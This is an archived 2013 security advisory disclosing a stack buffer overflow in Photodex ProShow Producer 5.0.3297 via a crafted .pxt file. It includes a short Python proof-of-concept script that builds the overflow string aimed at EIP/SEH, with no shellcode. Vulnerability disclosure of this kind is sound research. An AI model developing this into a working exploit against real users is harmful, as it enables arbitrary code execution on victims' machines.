Photodex ProShow Producer 5.0.3297 Buffer Overflow



EKU-ID: 3029 CVE: OSVDB-ID:
Author: Julien Ahrens Published: 2013-02-18 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


Inshell Security Advisory
http://www.inshell.net


1. ADVISORY INFORMATION
-----------------------
Product:        Photodex ProShow Producer
Vendor URL:     www.photodex.com
Type:           Stack-based Buffer Overflow [CWE-121]
Date found:     2013-02-16
Date published: 2013-02-16
CVSSv2 Score:   6,8 (AV:N/AC:M/Au:N/C:P/I:P/A:P)
CVE:            -


2. CREDITS
----------
This vulnerability was discovered and researched by Julien Ahrens from
Inshell Security.


3. VERSIONS AFFECTED
--------------------
Photodex ProShow Producer v5.0.3297, older versions may be affected too.


4. VULNERABILITY DESCRIPTION
----------------------------
A buffer overflow vulnerability has been identified in Photodex ProShow
Producer v5.0.3297.

When opening a crafted transition file (.pxt) the application loads the
"title" value from the pxt file.

The application does not properly validate the length of the string
loaded from the "title" value from the pxt file before using it in the
further application context, which leads to a buffer overflow condition
with possible code execution via overwritten SEH chains on Windows XP/7
32bit.

An attacker needs to force the victim to open a crafted .pxt file in
order to exploit the vulnerability. Successful exploits can allow
attackers to execute arbitrary code with the privileges of the user
running the application. Failed exploits will result in
denial-of-service conditions.


5. PROOF-OF-CONCEPT (Code / Exploit)
------------------------------------
The following generated string has to be inserted into a .pxt file to
trigger the vulnerability.

#!/usr/bin/python
file="poc.txt"

junk1="\x41" * 24
eip="\x42" * 4
junk2="\xCC" * 50000

poc=junk1 + eip + junk2

try:
    print ("[*] Creating exploit file...\n");
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print ("[*] File successfully created!");
except:
    print ("[!] Error while creating file!");


For further Screenshots and/or PoCs visit:
http://security.inshell.net/advisory/47


6. SOLUTION
-----------
None


7. REPORT TIMELINE
------------------
2013-02-16: Discovery of the vulnerability
2013-02-16: Full Disclosure because the vendor ignored previous
            reports.


8. REFERENCES
-------------
http://security.inshell.net/advisory/47